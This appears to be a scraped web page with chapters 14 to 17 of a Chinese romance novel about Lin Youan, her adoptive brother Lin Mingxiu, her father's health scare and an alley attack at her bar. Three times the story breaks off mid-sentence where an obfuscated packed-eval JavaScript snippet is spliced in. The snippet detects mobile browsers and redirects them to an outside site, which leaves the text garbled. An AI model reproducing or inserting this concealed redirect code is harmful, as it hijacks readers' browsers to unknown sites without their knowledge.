“对不起,我没有早告诉您,我有所盘算。” 林鹤堂盯着他数秒,笑起来,“你很聪明,既然能在我身边讨口饭吃,又怎么甘心什么都不学呢?同时也料到我的多疑。一个一身债务,又刚失去父亲的高中生能有什么筹码?呵,你那个时候才多大点啊!跟柚安现在差不多大吧?除了一副好身板,还能卖什么?难得的是,你真的用身体去践行你说过的话,哪怕冒着生命危险。” 林鸣修低头不言,他现在终于知道,那些心思,在一开始就被看穿了。 没有林鹤堂的默许,再深的城府,都只是笑话。 而他那些野心,与其说是野心,不如说是支撑他活下去的希望,不论真假。 林鹤堂表情温和,他说:“我知道你常看的书,金融、法律、材料学,你什么都看,说说吧,跟我这些时,都偷学了些什么。” 病床上的年轻人严阵以待,娓娓道来。 那天之后,林鸣修正式加入了四海寰宇董事长林鹤堂的助理团。 林鹤堂资助他业余学习MBA、金融等一切他想学的课程,大小事务都带着他。 而他从不叫人失望。 如今的林特助,在四海寰宇各个部门都轮岗实习过,他没有正式的管理层职位,但管理层各个尊敬他。人们都知道,某一天,林鹤堂会制造一个契机让他在董事会有一席之地,为他的继承之路,开疆辟土。 14. 第 14 章 林鸣修从养父母的卧室出来,替他们轻轻关上房门。 廊道上灯光很暗,尽头的某处亮着微光。 那是他书房的方向,他走过去,里面果然亮着灯,沙发上,躺着睡着的柚安。 她身上盖着他用惯的那张毛毯,墨色、羊毛材质,没有半点纹样,但是手感极好,克重也很高,偶尔在书房小憩或过夜,他都会扯过来盖。 他步入房门,边走边将袖口解开,挽至手肘,走到沙发对面的书桌,随意往桌面一靠,双手插在西裤口袋里,垂眸端详了片刻。 她卸了妆,也卸去了往日的骄矜与防备,眉眼清淡,眉头浅浅皱着,不知梦到什么烦心事。 林鸣修嘴角勾了一下,思忖着是否该叫醒她,刚倾身一步,对方眼睛就动了下,他立马停下动作,轻手轻脚地退回。 但对方还是醒了。 她揉了揉眼睛,支起身来,双脚落在地毯上。 身上是一套睡衣,白色棉质长袖长裤,剪及锁骨的碎发正好落在领口的荷叶肩,眼睛被揉得微微泛红,像只刚苏醒的兔子。 “怎么睡这儿了?”林鸣修问。 “我是专程等你的,有事要问你。”见他进来,柚安立马起身坐正。 林鸣修微讶,“等我?万一我没看到书房的灯呢?或者不想管它,你岂不是白等?” 柚安敛了目光,没有回答。 她知道林鸣修不管多晚,都会在书房待上一会儿再回卧室睡觉。 是看书还是什么的,就不得而知了。 同一个屋檐下生活这么多年,很多对方的小习惯,早已不经意间绣刻在脑子里。 即便她不想承认。 书房和她的卧室一墙之隔,即便林鸣修的动作轻到不能再轻,上好的羊毛地毯吸走所有的脚步声,她还是感知得到。 就像是不甚在意,微不足道的一个东西,经年累月跟身边,便成为了一种理所当然的存在。 柚安避开了这个问题,开门见山道:“爸刚才找你说什么了?” 林鸣修重新靠回书桌,手撑桌沿,“你怎么会对这个感兴趣?” “如果是公司的事,我才不管,但是你们是去卧室谈的,多半不会是公司的事,妈应该也在吧?是家里出了什么事吗?” 荒谬极了,家里的事,她这个正牌女儿还要熬着夜,问一个养子,若不是那挥之不去的不好预感,她又怎会向这人屈尊? 柚安上身无意识地前探,双手抓着皮革沙发的边沿,指尖几乎要嵌进去。一站一坐,她仰角看他,逆着灯光,看得眼眶有些发酸。 “是不是,有什么不好的事?”她微弱地发问,心跳得巨快。 真是敏锐,当个没心没肺的大小姐有什么不好的? 林鸣修低眸,就这么看她数秒,勾起一抹淡笑,“嗯,他们要把你嫁出去。” 柚安瞳孔瞬间收缩,愤怒夹杂着难以置信,后又涌起无数委屈。 就要爆发时,林鸣修笑了,“抱歉,对不起,骗你的。” 想耍她久一点的,但实在看不得她这个样子。 “你快说!”柚安气得要发抖。 林鸣修倾身走过去,蹲下来,视线与她齐平。 “不要担心,我都告诉你。” 他难得笑得温柔,往常即便挂着笑,柚安也觉得那笑里总有几分疏离,有时,甚至比不笑更冷,但此刻却只有纯粹地慰藉。 他亦难得违背林鹤堂的意思,谁叫他看不得柚安这个样子? “爸的体检报告出了,肺里有个五毫米的小结节,可能是良性病变,比如感染后的疤痕或肉芽肿,但也有可能是早期恶性肿瘤。不过,八毫米的结节恶性概率很低,你别担心。” 听着这些从未涉猎的专有名词,柚安有种已做好准备,还是被当头一击打蒙了的感觉。 “这病严重吗?怎么治疗?需要手术吗?” “结果是今晚才出来的,明天会找专家看一看片子,但是爸的个性你知道,杀伐果断惯了,他倾向直接切,切下来做活检,也就知道是什么性质了,免得夜长梦多。” 林鸣修自己也没有想到,被柚安一问,竟缴械投降地这样快,这样彻底。 他说话做事向来留三分,像这样百分之百地坦诚,令他有种在刀尖行走的惊险感。 “要保密哦,包括对大伯一家。” “为什么?” 林鸣修放低声音,“四海寰宇董事长,一个小小的身体抱恙,都有可能引起轩然大波。” 柚安似懂非懂地点头,鼻尖还是红的,她不太计算得出这算大事还是小事,记忆中,父亲连个针都没有打过,怎么会生病呢? 但谁又不会生病呢? 生老病死不是不会发生,只是她从来不敢将其和亲人联系在一起,习惯性地逃避罢了。 不知该不该说“幸好”,林鸣修坦然的态度,着实给予了很多安慰。 既把事情摊在面前,要她面对,又站在身后,给她兜底,这就是他给柚安的感觉。 但她旋即又陷入不被信任的怨念之中。 “那为什么连我也瞒着?怕我泄露秘密吗?还是觉得,告诉我也没多大用处?反而还会给他添乱?” 林鸣修含笑看着她,“怕你担心啊。” 傻瓜。 柚安怔然,恰恰是他这举重若轻的模样,最是让她绷不住,眼泪大滴大滴地流下来。 林鸣修敛眸,没有说话,也没有同她拉进距离,只是保持下蹲的姿势,静静陪着。 没有多久,柚安就意识到失态了。 她很快抹干净眼泪,眉宇间几分刻意的洒脱。 “谢谢你告诉我,这份情我记着,在爸妈面前我会装作不知道,免得你难做。” 林鸣修笑了一下,语调平稳,“放心,等情况稳定下来,他们会亲口告诉你的。不过,大概率虚惊一场,事情就这么过去了。” “我知道,没有消息就是最好的消息。但是,从今天起,不管什么消息,我都要知道。” 不确定他是否会答应,更不确定他的话里,有几分隐瞒。 但眼前除了他,没有其他人可以依赖。 所以即便丢脸透了,投向林鸣修的眼神,还是不由自主地带着肯求。 林鸣修平平看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765456|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去,轻声说:“好。” 不知不觉已是夜里两点,柚安七上八下的心落下来,睡意立马汹涌,道句“晚安”,便回房睡了,走前不忘将用过的毛毯抖了抖,展平铺好。 直到隔壁关门声响,林鸣修才感觉呼吸没那么紧。 他起身坐在沙发上,膝盖已有些麻,几丝不属于这个房间的清香在鼻尖浮动。 不知坐了多久,忽然发觉压到了那张毛毯,他立马顶着闷痛的膝盖站起来,将毛毯折好,放置在沙发的另一端,再没有动它。 第二天,柚安游魂似的过了一天,捱到下午六点,急急忙忙回家。 林鹤堂和林鸣修也都回来了,一家人吃饭,所聊话题很平常,她一个字也听不进去,逐个揣摩起他们的表情,暗自惊心地揣测结果。 直到某一次抬眸,和林鸣修的目光撞了个正着。 与其说突然,不如说他早就在看她,好似对她的煎熬,统统了然。 见她目光撞过来,他不动声色地颔首笑了一笑,柚安知道,爸这次没事了。 她咬了咬唇,忍住内心激动,佯装无事地舀了一口汤喝。 温润的瑶柱丝瓜汤滑过舌尖,汩汩下腹,她镇静下来,复又悄悄看了林鸣修一眼,后者已收回了目光,若无其事地同林鹤堂聊起今天的股价。 吃完晚饭,林鹤堂陪尹晴去海边散步,问他们俩个要不要一块儿,两人异口同声地拒绝了。 父母走后,柚安第一时间去书房找林鸣修,问他专家会诊的情况。 林鸣修正在电脑前工作,鼻梁上架了副金丝眼镜,镜片映出屏幕闪烁的荧光,专注地时候,他尤显得冷峻,像一座令人生畏的冰山。 是以柚安收起长驱直入的习惯,站在门口敲了敲门。 那双冷厉的眸子看过来,眉梢舒展。 男人食指关节推了推鼻梁上方的镜架,“请进。” 柚安边走边说明来意。 林鸣修侧了侧身,面向她说:“专家看了片子,说恶性的几率很低,无需过度焦虑,建议调整生活作息,定期随访,三个月后再拍CT,看结节是否有变化。” “爸意思呢?” “他听了专家的意见。” 柚安长吁一口气,强压笑意,“谢谢。” “不客气。”林鸣修目光重新转向屏幕。 柚安正打算走,手机一振,消息是黎燃发来的。 她看着那头像,不由得停下脚步。 余光越过屏幕,瞥见柚安看着手机屏幕,嘴角溢出笑容,眼睛也弯了起来,林鸣修眸色黯然,键盘上的手指微微屈起。 就在柚安看完消息,抬头看过来的一瞬间,飞快地收回了视线。 “下个礼拜五酒吧正式开业,黎燃他们乐队要来唱歌!你……” 柚安下意识想问他来不来,然而隔着厚重的大理石办公桌,看到他视线紧盯屏幕的模样,还是硬生生将后半句吞了回去。 “不去。”就在她收声的一瞬间,男人冷淡的声音传来,镜片后的视线冻结成冰。 “……是但喇。” 柚安冷下脸,转身走出书房。 15. 第 15 章 酒吧开业前这几天,林柚安忙得脚不沾地。 黎燃常来找她,两人同进同出,她笑容变得多了,三餐规律,人也圆润了一些。 用尹晴的话说,家里多了两只飞进飞出的花蝴蝶。 她比柚安还要开心,老黎夫妇离港前,更是郑重承诺包揽黎燃在港的汤水,叫他随时来喝。 周五晚上,Echoes&Elixirs正式开业。 Veinblare乐队的到场惊动了小半座港城,冲着黎燃来的粉丝数不胜数。 酒吧变成声光电的海洋,在午夜时分,已经沉睡的都市深处,继续燃烧着荷尔蒙的火焰,无数年轻男女趋之若鹜。 林柚安坐在吧台边,面前一小杯橙黄渐变的鸡尾酒,杯口一片嫩绿的薄荷叶。 她穿着休闲低调,一袭及踝黑色针织长裙,垂坠曳地,外搭一件oversize的白色棉麻罩衫,宽松的蝙蝠袖口随动作轻盈摆动,抓了个低低的丸子头,几缕微卷碎发垂落耳际,耳垂上一粒珍珠母贝耳钉,光泽柔润。 黎燃唱了一首又一首,她静静听着,目色空濛。 想到那座隔海相望的北方城市,林栖的酒馆也是终日热闹。 那是另一种热闹。 食客挤挤挨挨,复古的手风琴,慵懒的吉他弹唱,落日般橘黄的色调,总是被起哄上台唱歌的音乐人老板…… 激烈的电吉他声轰然炸开,黎燃猛然将上身那件被汗水浸湿的白背心扯下来,丢向空中,此举引发了全场高潮。 尖叫声此起彼伏,将柚安的思绪拉回现实。 台上的主唱激情投入,汗珠顺着他的下颌线坠落,他左手握着酒红色电吉他的琴颈,绷紧的小臂随弹奏青筋暴起,肆意张扬的笑容浸在汗水里,帅得无法无边。 那笑容总让柚安想起当初,是如何对陆野着迷的。 这种反刍很不应当,却又有种隐秘的刺激。 一曲终了,黎燃的手指高高举起,在众人好奇的目光中缓缓落下,穿越山海般的人群,指向柚安。 鼓手击鼓两下,乐队成员一起喊:“林老板,唱一个。” 黎燃高举双手击掌两次,做出邀请的手势。 “林老板,唱一个。” 他又击掌两次。 全场欢呼,节奏整齐地跟着起哄、击掌。 柚安怔了两秒,连忙摆手,直接手机壳挡着脸,避往街外。 酒吧人山人海,阿谨护着她走出门口,好奇问她:“干嘛不唱呢?老板您可是歌星啊。” “早没感觉了。”柚安轻描淡写地说。 她写的每首情歌里,都有一个不敢触碰的影子。如今时过境迁,粉身碎骨的飞蛾,再也找不到当初撞击灯火时的义无反顾。 阿谨听不懂,林柚安让他回场子看着,自己清静清静。 随后,她独自倚在门口,点燃一支女士香烟,冷银色烟身悬在苍白的无名指与中指之间,星火在夜里明明灭灭。 街边停了一溜车,她前不久刚提了辆跑车代步,此刻正停在林鸣修常停的那个位子上。 他真的没有来。 大约是刚回港那阵,父亲怕自己状态有问题,才叫他紧跟着的吧。 如今她好了,也就没有再跟的必要。 柚安眼睫扇动两下,偏头吁出一口烟。 手机振了一振,来电是一串陌生号码,柚安给挂了。 那号码马上再次打来,如此好几次,她便接起来。 “边位?” 对面的声音断断续续听不清楚。 她捻了烟,拐进旁边一条小巷。 鼓噪的乐声,和街道的嘈杂一并被隔绝,周遭顿时安静下来,街面昏暗的路灯照着满地的泥泞,空气阴冷而潮湿。 “边位呀?”她又问。 声音依然模糊,估摸是信号不好,她耳贴话筒,来回走动,未注意这陋巷中的危险气息。 身后忽然有声响,就在察觉的一瞬间,手腕忽得被钳住,她一声惊呼,手机应声坠地。 恶意自头顶传来,感觉对方至少高出一个头,她后颈的汗毛顿时炸了起来 手臂被大力一扭,她忍着剧痛回头,看到了那人真容,竟然是之前被炒掉的吧台领班。 与此同时,数个面露不善的男人从阴暗中现身,他们都是之前被炒掉的酒保。 原来是来寻仇的。 有人在说,“她是林鹤堂的女儿,绑回去讨个好价钱。” 还有人说,“不要便宜了她,先给点颜色看看!” “你们弄错人了,有话好好说。”林柚安强压下恐惧。 “八婆,轮不到你说话!给我老实一点!”男人陡然用力,几乎要将她骨头拧断,与此同时亮出一把银色的匕首,向她脸划去。 只觉眼前寒光一闪,柚安下意识闭眼,准备迎接刀刃切开皮肤的痛楚。 然而痛楚并没有发生,反而是腕上一松,摆脱了控制。 睁开眼,只见吧台领班手臂被人从后擒住,匕首反抵在他的脖间。 反制完成在电光火石之间,专业而精准,领班一脸的凶狠也顷刻间变为灰败,仿佛不敢相信。 一下秒,一米九的壮硕身躯像麻袋似的被掼在垃圾桶上,锈迹斑驳的桶身发出轰隆闷响,匕首插在他擒林柚安的那只手上,刀身没入手背,那人痛得哀嚎。 “顾鸣修!”柚安看见矗立在身前的背影,下意识叫出名字。 男人一抬手,数十名保镖冲进巷内,打扫垃圾似的将肇事者制服,并将人押了出去。 陋巷重归沉寂,柚安扶墙喘匀了呼吸,只有手腕残余的疼痛提醒着方才的惊心。 林鸣修靠在另一边的墙上,低头点了支烟叼在嘴里,视线落在柚安的手腕,“没事吧?” “没事,”柚安揉了揉红肿处,“不是说不来吗?” “爸不放心,叫我来盯着。” “这样,”柚安紧了紧上身的罩衫,“刚到的吗?” “有一会儿了,你被起哄唱歌的时候来的。” 巷内光线晦暗,男人的表情藏在阴影里,声音分外平淡。 柚安嗤笑了一声。 偏偏是那个时候。 “还以为能听到你唱歌的。”林鸣修说。 烟头明灭间,照亮他手背的青筋和血迹。 柚安心想,那应该是被揍的男人的血。 “不想唱,没感觉了。”她简单拍了拍身上的灰,朝巷外走去。 火星一明一暗,男人低沉的声音从潮湿的风里飘过来,“就是怕还有感觉吧。” 柚安脚步一顿,心脏像被什么击中,刺痛了一下。 她未停地太久,旋即便起步,与林鸣修擦身而过的瞬间,巷口飞驰的车头灯照亮巷内,男人目光低垂,沉郁的神情一闪即逝。 酒吧声色依旧,一直热闹到两点关门。 林鸣修增强了安保,即便人多如潮水,依然秩序井然。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773901|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>柚安坐在吧台边,托腮听歌,面前的鸡尾酒还是原来的模样。 未免发生混乱,Veinblare在几名保镖的保护下从后门离的场,他们玩得很开心,柚安出去送行,被邀请去下一趴继续。 她拒绝了,说有点累。 黎燃说:“那我送你回去吧,你别开车了。” 柚安微笑挥了挥手,“我想坐一会儿再走,你们别管我。” 如此,乐队便先行离开了。 柚安回到店里,各部门做完打扫和收场的工作,也都离开了。 三点的长街寂静清冷,酒吧安静得杯盏相撞都能听到回音。 她将店门半关,熟练调好音响,坐上舞台的高脚椅,独自唱起歌。 不是自己的歌。 还是那首《我在纽约打电话给你》。 声线慵懒,歌词有一句没一句的。 “害我哭那么多哭到纽约下大雨” “害我那么想你你都没有反应” 唱到这一句的时候忽然泪如雨下。 配乐还在继续,已没有了歌声。林鸣修背靠着门,眸色晦暗地看着雾色迷蒙的街道。 半晌,他摸出一支烟,偏头点燃,吁出一口烟圈。 旋律就这么孤独地走到了尽头,没有唱下一首,林柚安双手扶在立麦上,额头抵着手背,浅浅叹了一口气,然后撑着立麦跳下高脚椅,利落地关了音响和灯光,走出店外。 身后的灯光一一熄灭,店门的缝隙透着一线微光,大约是街上的路灯。 她鬼使神差地想,林鸣修应该还等在外面。 至于是父亲的意思,还是他自己的,无谓去深究。 推开厚重的大门,一线微光豁然扩大成一片,街道沉睡在昏蒙之中,寂然无声。 先是一缕熟悉的烟草味,紧接听到引擎轰鸣。 柚安朝声音的方向望去,只见黎燃骑着他那辆重机,从长街尽处驶来。 嘴角轻轻一勾,整条街都似染上一层橘红,为他而熠熠生辉。 机车稳稳停在柚安跟前,黎燃单脚支地,拿出一个头盔递给她,“上车。” 柚安莞尔拒绝,“我开车了。” 黎燃亮出腕表,时针正好指到四点,“这个点去飞鹅山看日出最好了,运气好的话,可以看到云海。” 柚安嗔怪皱眉,“你不睡我还要睡啊,陪你看日出,癫嘅咩。” “反正都这个点啦,看完日出再回去补觉啦。” “……” “嚟啦——” 黎燃皱了皱鼻子,孩子气地拿头盔撞她胳膊。 柚安犹豫半晌,最终还是接过头盔。 刚准备上车,却发现穿长裙跨不开腿。 这回黎燃也面露为难。 刚想问她店里有没有备用的裤子,只见她弯腰,干脆麻利地撕起裙子。 “喂喂喂喂——”黎燃急忙跳下车帮她挡,可是凌晨四点的街头根本无需要挡。 长裙转瞬间被撕到膝盖以上,柚安骑到后座,一双白净匀停的双腿在夜里招摇,笑容灼若芙蕖。 “我早就知你癫过我啦!”黎燃苦笑一声,启动了引擎。 重机飞驰而去的瞬间,柚安若有所思地回眸。一点猩红在店门旁的阴影处幽幽燃着,那具八风不动的身影,不用看已知道是谁。 机车风驰电掣,那身影迅速远去。 她回过头去,手不自觉地按住裙摆,将其朝膝盖拉了拉。 16. 第 16 章 机车的引擎声如潮褪般消寂,天色将亮未亮,街头只剩下林鸣修一个人。 手里烟已燃尽,他未作发觉,仍悬在指尖。 原来某些时刻,理智和逻辑是不作数的。正如此刻,他没有办法不去想象林柚安跟黎燃在飞鹅山俯瞰整个九龙半岛时,会发生些什么。 各种逾越其职责与身份的想法,如突破胸腔的蜂群,带着蜇人的尾针将他围困。 奇怪的是,他并不想逃,这种被噬咬的疼痛,撕开内心隐秘的一角,亦咬烂这么多年,自欺欺人的面具。 原以为,将她当做任性的妹妹,收拾她闯下的烂摊子,帮她拦下父亲的指责,最后在她婚礼上佩戴兄长的红色胸花,在新人一吻时拍手祝福,也算是一种喜欢。 这种无伤大雅的走向对谁都好。 满怀罪恶感的一场暗恋,亦可以在无人知晓处,被时光的洪流带走。 但是随着柚安的归来,这场在心里预演过无数次的云起云散,变得越来越艰难。 原来自己远非高尚到能给她和另一个人祝福。 也非理智到能够压下心头的暗涌,将其掐灭在无人知晓处。 否则,一开始就不会任爱恋发芽。 那所谓的云起云散,只不过为他觊觎恩主之女找一个借口,再编造一个合适的收场,以自我安慰罢了。 多虚伪! 不知不觉间,天幕已被晨曦撕开了一条裂缝,金色的阳光洒进来,一寸一寸将城市照亮。 晦涩的思绪仿佛天生与光亮不相容,他没法再耽溺其中,强行将神思拉回,提步朝停车场走去。 开车回到夏山郡时,天光已经大亮,六点半的半山,山风微凉。 自东侧停车场至门厅的连廊上,耳边倏地响起轰鸣的引擎声。 只见黎燃载着柚安驶了过来,机车直接横在门厅前方,林鸣修在一段距离之外顿了脚步。 两人似未发现他的存在,接连下车,旁若无人地勾起手。 “爸妈还没醒,你小点声。”林柚安笑着,好似挂着满身春风。身上搭着黎燃的机车夹克,长度刚好盖住被她撕短的裙子。 “那我就不进去了。”黎燃说。 “嗯。”柚安将夹克脱下来递给他。 他伸手直接捉住柚安的手,将人往怀里一带。 柚安伸手环抱他的腰,那笑容,和林鸣修想象中,新娘在婚礼上的笑容一样。 这一切,在他独自渡过白天与黑夜的漫长交替时,已然料到。 他往墙上一倚,眸中没有悲喜,只有一层弥漫山间的薄雾。 嘴角甚至勾着一抹略带嘲讽意味的浅笑,嘲讽的对象是自己也是林柚安。 两人抱了一会儿便松开。 “走了。”林柚安抱着黎燃的夹克,一路小跑上汉白玉石阶,转身挥手作别。 黎燃歪头做了个鬼脸,启动引擎开出了夏山郡。 柚安继续往门厅走,一路步伐轻盈,两颊薄红,如初摘的水蜜桃一般甜美。 忽而瞥见连廊上走来的林鸣修,她不由得放慢了脚步,唇边漾起的笑意微微一滞,旋即却笑得更加明媚。 “早啊,顾鸣修。”她轻快地打了声招呼。 “早。”男人的目光波澜不兴。 两条垂直的轨迹自门厅前交汇,随即一同迈进家门,什么也没说。 似从未发生过任何事,又似心照不宣。 . 自那日后,林柚安整个人仿佛浸润在幸福的花海里,脸上始终洋溢着甜腻的微笑,做什么都干劲十足,和她初回港城时,简直派若两人。 酒吧生意兴隆,她乐得亲力亲为,从联系乐队表演,到和调酒师研制新品,再到跟阿谨学习些初浅的经营和谈判策略。 家里的乐器室时常传来各种旋律,她甚至开始联系林栖,电话粥煲到深夜。 林栖的主职是音乐制作人,同时她也是歌手,没有签经济公司的她,会按自己喜好接些音乐节,或是线上的音乐节目。 这些天,家里时常响起柚安对着电话,和对方推敲某段和弦走向的话语。 偶起争执,多数时候则默契相投,一拍即合。 她始终无法放弃这个朋友。 尹晴为女儿的改变高兴不已,于此同时,也为另一个孩子担忧不已—— 林鸣修最近疯狂地工作,有时甚至连续一个礼拜宿在公司。 每次见到他,似都消瘦一分。 这天林鸣修答应了回家吃饭,却很晚才风尘仆仆地归家。 见尹晴备好了宵夜等他,他心生愧意,掩住困意,乖乖去餐厅用餐。 还有两天就是清明节,自孟悦去世之后,每年清明,他二人都会一同去深圳祭拜林鸣修的父母。林鹤堂不忙的时候,也会一同前往。 “今年要是太累的话,就待在港城,我代你去就好。”尹晴对林鸣修说。 林鸣修放下汤匙,“我已经把公司的事情都安排好了,这次回去扫完墓,会小住一段时间,可以吗?” “当然可以了,这哪需要问我啊,那是你父亲的家乡,也是你半个家乡。打算住多久,跟你爸说了吗?” “两周,已经跟爸说过了。” 两周的假期,对于林特助来说,已经算得上难得一遇地悠长了。 对话告一段落,林鸣修才低头喝下一口汤。 尹晴心疼地看着他吃饭,原来这些天昼夜颠倒地工作,只是为了腾出时间回家乡小住,这孩子…… 她不由得想起林柚安,柚安在她和林鹤堂这里,永远是孩子,而鸣修则更像一位员工,一位常年无休的机器管家。 她多想鸣修也像个孩子,哪怕任性或是懒散。 为什么林鹤堂的孩子就必须完美优秀?柚安一身伤回到港城的那段时间,尹晴常问自己。 不对,恰恰是林鹤堂的孩子,可以一事无成,不带任何愧疚地享受人生。 所以不论柚安念商还是念音乐,是大明星还是受人唾弃,都是她的骄傲。 鸣修也是。 但他好像在承担另一个孩子未能成为精英栋梁,所造成的缺憾。 尹晴很想告诉他,远不必如此辛苦。 却不知该如何去做—— 他的心门似乎总是紧闭。 “鸣修啊,”她鼓起勇气,“柚安好像跟黎燃处上了,你也年纪不小了,如果有了心仪的人,不妨介绍给我和你爸认识认识?” 林鸣修动作一滞,咽下嘴里的汤,直起背来。 这问题多少有些意外,催婚倒是没什么,他多怕隐秘的心思被长辈看穿。 这些年,不知道有多少世家豪门想撮合林鸣修的婚事,尹晴知道其性格,从不强加干预。 然而从少年自如今,她从未听过或是见过鸣修跟任何异性有拉扯。 哪怕竞争公司找女人下套,亦或是有生意牵连的合作方,隐晦地向他进贡,他也能一次次全身而退,片叶不沾身。那些女人,尹晴知道,都是极品。 作为四海寰宇举足轻重的人物,又是年轻气盛的年纪,这般长相跟地位,身边没有女人,难道是有男人? 所以他才如此压抑! 见林鸣修好像不知道该说什么,尹晴干脆直说:“感情的事,控制不了,也没有什么对跟错。哪怕喜欢一个世俗意义上不被认可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786715|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的对象,也无可厚非,千万不要压抑自己。” 林鸣修的耳根刹那间泛红,表情管理向来滴水不漏的林特助罕有地无措起来。 那瞬间,他的思维像坐上火箭。 什么时候知道的?如果她知道,那柚安呢? ……算了,知道就知道吧,她自己的感情线都一塌糊涂,到时候,无非是一个横冲直撞的人,取笑一个罔顾伦理的人。 他们实则同病相怜。 尹晴殷切地看着林鸣修,只见他嘴角轻轻勾了勾,不知在想些什么。 难道猜对了? 她壮胆更近一步,“如果有,就把那个男人带回来吧,对家人,没有什么可藏着掖着的。” 林鸣修神情一瞬间凝住,“男人?” 尹晴怀着疑惑点头,“不是吗?” 林鸣修嘴角那一抹笑意逐渐扩大,如蒙大赦。 尹晴:“不是?” “不是的,您误会了。”他额角一层冷汗。 “你今年二十九,从十六岁来港城至今,从没见你有过女人,真的没有喜欢的人吗?我还以为……” 林鸣修轻笑,“抱歉让您担心一场。感情的事,也讲究缘分,可能是缘分没到,所以没有过特别心动的人。其实恋爱谈到最后,无非是柴米油盐,我并没有将其看得很重。如果您有适合的对象,或是四海有需要,我也可以经营好婚姻。” 言下之意,找个资源相衬的,或是家族联姻,他都可以。 这简直为他人机的形象又添一层佐证。 “哦……好……好。”尹晴喉头梗塞,遥想这些年,不知为他推拒了多少世家千金。 而此刻的林鸣修,正为他能脸不红心不跳地说出如此虚伪的话,而自厌到极点。 如果尹晴真的信了并且照做,以他现在的状况,也不是不能接受。 把自己当工具,好过拥有一颗会痛到发疯的心脏。 话说到这儿,楼上忽然传来一连串节奏密集的鼓声。 尹晴青筋直跳,“夜里一点,这丫头疯了!” 俩孩子什么时候能中和一下就好了。 管家被吩咐上楼提醒。 片刻后,鼓声停了,转而飘来一串肆无忌惮的笑声。 尹晴想家暴的心都有了,问回来的管家:“小姐在做什么呢?” 管家回道:“小姐在打视频电话。” “跟维市那位朋友吗?” “跟黎少爷。”管家面带笑意。 尹晴哼了一声,面色有所缓和。 “这丫头指定是跟黎燃处上了,你说是不是?”她转向林鸣修。 后者正打算回房,这下不得不重新坐回来,面对这个问题。 “不太清楚,这得等她亲自宣布。” 提起这件事,尹晴笑得眼周纹路都似在熠熠发光,“她们在一起多好,男才女貌,又有共同爱好,你看柚安这些天多开心,她最爱的音乐也拾起来了,可算是苦尽甘来。” 本来可以找一个面面俱到的答案周旋,自然而然脱身的,林鸣修却下意识回道:“人不可能时时刻刻都这么亢奋。” 恰恰是想掩饰什么,才不让一颗心沉下去。 尹晴却不见得,“热恋初期就是这样的啊。” 她笑着摇摇头,那笑容好像在说,以你那番对感情的浅薄认知,自然不知道恋爱中的人能有多甜蜜,赶紧去试一试吧。 林鸣修心中的蜂群又开始躁动。 除了那天独自在街头时的酸涩,他亦对怀抱希冀的长辈感到莫大遗憾。 为拥有而多快乐,就会为失去而多悲切,而他已率先看到了结局。 17. 第 17 章 清明节一大清早,林柚安一家先是上山祭拜了去世的先祖,随后各奔东西。尹晴和林鸣修去往深圳,林鹤堂要赶早班机去国外视察,留下林柚安一个人看家。 柚安跟随母亲,一路送到她与林鸣修上车。 每当这个时候,她对林鸣修总没有好脸色。 一来嫉妒他分走了父母的爱,二来觉得他只是做戏罢了。 孟姨去世的时候,她都哭得比林鸣修伤心。 准确来说,她似乎没见林鸣修流过一滴眼泪。丧礼期间,他的平静淡漠,远超出刚满十八的林柚安的认知,情绪这两个字,好像从他的身体里刨除了。 林柚安悄悄地琢磨过,不能仅凭眼泪断定一个人的冷血。 以前初中的时候,班里有一个女生的父亲去世了,那女生第二天来上学,脸上一点哀恸都没有,甚至还在上课时偷看漫画,一连好几天都是这样。 就在同学们都私下谴责她没有心的时候,那女生却冷不丁从四楼的家中跳了下来。 索性人没有死,但想起这件事,柚安便生出警觉。 她暗自观察林鸣修一个多月,也曾担忧过,害怕他跟那个女生一样想不开。 可是他行为举止再正常不过,在一周后的慈善酒宴上,更是见他言笑晏晏,频频与人举杯谈笑—— 虽然他的笑,在柚安看来,始终不达眼底。 观察地越久,越是觉得他真的很冷漠。可能是孟姨的病太过折磨,特别是死前那段时间,以至于他的情绪在那时,已经被消磨光了。 更有可能,因为孟姨留书将眼角膜捐献给尹晴,林鹤堂为表感谢,正式收林鸣修为义子,大摆宴席告知天下。 经历这样的天降喜事,他哪还哭得出来?又怎么会舍得死? 柚安还记得,宴席当天,他工工整整改了自己的姓氏。 大伯母悄悄安慰她:“这不全然是件坏事,至少那小子往后不会再打你的主意。” 自林鸣修十六岁找来林家,被收留后,大伯母就提醒柚安小心提防,她告诉柚安,装可怜,博取家主好感,最后巧取豪夺其独生女,堂而皇之继承家业,是很常见的戏码。 那番话将年仅十二岁的柚安吓得几天睡不着觉。 现在好了,他成了她同姓氏的哥哥。 